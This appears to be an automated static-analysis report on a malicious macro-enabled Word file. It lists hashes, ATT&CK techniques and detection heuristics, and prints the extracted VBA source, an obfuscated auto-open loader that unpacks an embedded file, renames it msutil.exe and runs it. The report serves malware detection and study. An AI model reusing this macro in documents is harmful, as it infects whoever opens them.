Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6f3f96802b8e9004…

MALICIOUS

Office (OOXML)

19.9 KB Created: 2021-07-16 06:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-25
MD5: eb25b0638ba81906f0a7cb196a28afe3 SHA-1: df143a344ff6c1fcbff286e7a3b4ccb2336b6618 SHA-256: 6f3f96802b8e90049d64467fc1a2bf4b1b098a485d83cd8c48cc9b9bccfa2f1c
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains obfuscated VBA macros that execute upon opening the document. These macros leverage `CreateObject("Shell.Application")` to copy a file named 'Content_Datas.xml' from a downloaded zip archive to the user's public directory and then execute it. The script also attempts to copy the original document to a zip file in the temporary directory, suggesting a multi-stage infection process.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5347 bytes
SHA-256: 30521a27f9af050766bc2766e38fbad74ae242caa3d63f7cda9587d6d99d11e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()
TwcER
End Sub
Sub Workbook_Open()
TwcER
End Sub
Sub TwcER()
Dim FRFzHu As String
FRFzHu = Environ((Chr(84) & Chr(101) & Chr(109) & Chr(112))) & FRFzHu
gKqLs = Application.ActiveDocument.FullName
Set ftRnDsQ = CreateObject(Chr(119) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
YGHqQMR = Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(99) & Chr(111) & Chr(112) & Chr(121) & Chr(32) & gKqLs & Chr(32) & FRFzHu & Chr(92) & Chr(49) & Chr(49) & Chr(49) & Chr(46) & Chr(122) & Chr(105) & Chr(112)
ftRnDsQ.Run YGHqQMR, 0, True
gKqLs = FRFzHu & Chr(92) & Chr(49) & Chr(49) & Chr(49) & Chr(46) & Chr(122) & Chr(105) & Chr(112)
TsKzjd = gKqLs
ETLoXC = FRFzHu
Set pHUNlQ = CreateObject("Shell.Application")
Set qaTmO = pHUNlQ.Namespace(TsKzjd).items
For Each URaElSt In qaTmO
If URaElSt.Name = Chr(67) & Chr(111) & Chr(110) & Chr(116) & Chr(101) & Chr(110) & Chr(116) & Chr(95) & Chr(68) & Chr(97) & Chr(116) & Chr(97) & Chr(115) & Chr(46) & Chr(120) & Chr(109) & Chr(108) Then
pHUNlQ.Namespace(ETLoXC).CopyHere URaElSt
End If
Next
YGHqQMR = Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(109) & Chr(111) & Chr(118) & Chr(101) & Chr(32) & FRFzHu & Chr(92) & Chr(67) & Chr(111) & Chr(110) & Chr(116) & Chr(101) & Chr(110) & Chr(116) & Chr(95) & Chr(68) & Chr(97) & Chr(116) & Chr(97) & Chr(115) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(32) & FRFzHu & Chr(92) & Chr(109) & Chr(115) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
ftRnDsQ.Run YGHqQMR, 0, True
YGHqQMR = Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(45) & Chr(102) & Chr(32) & FRFzHu & Chr(92) & Chr(49) & Chr(49) & Chr(49) & Chr(46) & Chr(122) & Chr(105) & Chr(112)
ftRnDsQ.Run YGHqQMR, 0, True
YGHqQMR = Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & FRFzHu & Chr(92) & Chr(109) & Chr(115) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
ftRnDsQ.Run YGHqQMR, 0, False

Selection.GoTo What:=wdGoToPage, Which:=wdGoToNext, Name:="3"
Selection.GoTo What:=wdGoToBookmark, Name:="\page"
Selection.Find.ClearFormatting
With Selection.Find
.Text = ""
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.CorrectHangulEndings = False
.HanjaPhoneticHangul = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Font.Scaling = 100
Selection.Font.Size = 11
Selection.Font.ColorIndex = wdBlack
Selection.GoTo What:=wdGoToPage, Which:=wdGoToNext, Name:="2"
Selection.GoTo What:=wdGoToBookmark, Name:="\page"
Selection.GoTo What:=wdGoToBookmark, Name:="\page"
Selection.Find.ClearFormatting
With Selection.Find
.Text = ""
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.CorrectHangulEndings = False
.HanjaPhoneticHangul = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.GoTo What:=wdGoToPage, Which:=wdGoToNext, Name:="1"
Selection.GoTo What:=wdGoToBookmark, Name:="\page"
Selection.Find.ClearFormatting
With Selection.Find
.Text = ""
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.CorrectHangulEndings = False
.HanjaPhoneticHangul = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForm
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 1b9ed3e376c2df3c4a14a8a6ac3ca3cb260173575f2342176e584cf21e1f49f6

Open this report in the interactive analyzer, or submit your own file for analysis.